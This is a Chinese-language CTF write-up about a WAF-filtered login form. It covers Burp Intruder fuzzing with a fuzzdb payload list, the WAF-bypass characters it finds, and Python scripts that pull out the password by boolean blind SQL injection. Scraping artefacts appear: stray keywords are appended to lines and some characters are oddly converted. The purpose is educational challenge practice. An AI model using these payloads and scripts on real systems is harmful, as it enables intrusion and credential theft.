我也是萌新,講給更萌新的聽~ 大佬能夠略過這篇
今兒從同窗那拿到一題sql注入題,想到最近學習了burpsuite fuzz的功能,恰好能夠用來練下手,特此記錄一下。
是個典型的登陸框SQL注入題html
在源碼上還有hintpython
首先進行注入前的嘗試,觀察是否有報錯狀況,或者是有waf:mysql
正常的輸入,分2種狀況:git
password error
no such user!
猜想驗證用戶名和驗證密碼是分步進行的,語句以下:github
select uname from user where uname='xxx' select uname,pwd from user where uname='xxx' and pwd='xxx'
存在注入的狀況,顯示naive
,證實是有waf的:web
簡單測試了一下waf,發現過濾了or and union select from limit 以及空格,註釋符
,媽耶waf還挺嚴,以後不想經過手動測試,因而採用burpsuite進行Fuzz測試。sql
Burpsuite Fuzzing主要是經過Burpsuite Intruder模塊
,這比如是一把槍,經過特定設置把子彈(payload)
射向目標(target-site)
。數組
但是子彈從哪來?咱們在這以前要作一些準備工做:session
Fuzzdb: https://github.com/fuzzdb-pro...
這是一個fuzz測試的payload庫,上面有大量的測試payload,很是實用,咱們本次sql注入就用到它。多線程
咱們使用這個payload就能夠了 /attack/sql-injection/detect/xplatform.txt
而後打開Burpsuite,能夠先開代理抓一個正常請求包,而後轉到Intruder模塊,進行以下操做:
admin
,而後點擊右側的add§
,這樣uname的值就會被標記爲payload的加載位置,其他部分就不須要標記了。
xplatform.txt
,這樣payload就被加載進去了。
Intruder -> Start attack
,啓動!等待fuzz完成後,獲得以下結果:
根據返回包長度能夠分辨不一樣的狀況:202是password error
,200是no such user!
,還有189是naive
。
所以能夠發現有能夠利用的地方,第42個請求包的返回用戶名正確,證實已經繞過waf。
假如並無能夠利用的payload,能夠再觀察189的包看看哪些字段是被ban掉的,從而找到能夠利用的字段。結合前期手測的狀況和fuzz的結果,能夠判斷:可以使用:
# || && , ascii() left() right() length()
不可以使用:
空格 -- or and union select from limit mid() substr() substring()
構造payload以下,xxx爲payload,當xxx爲真時返回password error
,而xxx爲假時返回no such user
,這就構成了一個bool型注入。
uname='||xxx||'&pwd=123
下一步就能夠開始實施注入。
這一步開始,咱們就經過bool盲注進行爆破pwd
字段,腳本跑起來
經過length()
得到pwd
字段長度
for i in xrange(1,127): postdata = { 'uname':"'||length(pwd)="+str(i)+"||'", 'pwd':'123' } print i,postdata r = s.post(url=url,headers=header,data=postdata) if 'password' in r.text: print "get length!" return
最終得到length(pwd)=30
當你把握不許的時候,想到hint的提示,經過
length(uname)=5
驗證你的payload,下面也同樣。
因爲mid() substr()
被ban了,只能經過left() right()
進行字符串截斷,而後逐位爆破30位的pwd
pwd = '' for i in xrange(0,30): for c in xrange(0x20,0x7f): postdata = { 'uname':"'||(ascii(right(left(pwd,"+str(i+1)+"),1))="+str(c)+")||'", 'pwd':'123' } r = s.post(url=url,headers=header,data=postdata) if 'password' in r.text: pwd += chr(c) print i,pwd continue
最後獲得30位密碼,登陸進去,getflag
PS:沒有寫多線程,爆破速度比較慢,以後考慮改進一下PPS:以後還要總結下各種函數組合使用方式,好比
mid()=substr()=right(left())
完整腳本以下:
#coding=utf-8 import requests s = requests.session() s.keep_alive = False url = 'http://23.236.125.55:1000/34fb69d7b4467e33c71b0153e62f7e2b/' header = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2', 'Accept-Encoding': 'gzip, deflate', 'Referer': 'http://23.236.125.55:1000/34fb69d7b4467e33c71b0153e62f7e2b/', 'Content-Type': 'application/x-www-form-urlencoded' } def get_length(): for i in xrange(1,127): postdata = { 'uname':"'||length(pwd)="+str(i)+"||'", 'pwd':'123' } print i,postdata r = s.post(url=url,headers=header,data=postdata) if 'password' in r.text: print "get length!" return def get_pwd_char(): pwd = '' for i in xrange(0,30): for c in xrange(0x20,0x7f): postdata = { 'uname':"'||(ascii(right(left(pwd,"+str(i+1)+"),1))="+str(c)+")||'", 'pwd':'123' } r = s.post(url=url,headers=header,data=postdata) if 'password' in r.text: pwd += chr(c) print i,pwd continue if __name__ == '__main__': get_length() #length is 30 get_pwd_char()
聽說bugkuCTF有相似的一道題 SQL注入2,過去比較一下區別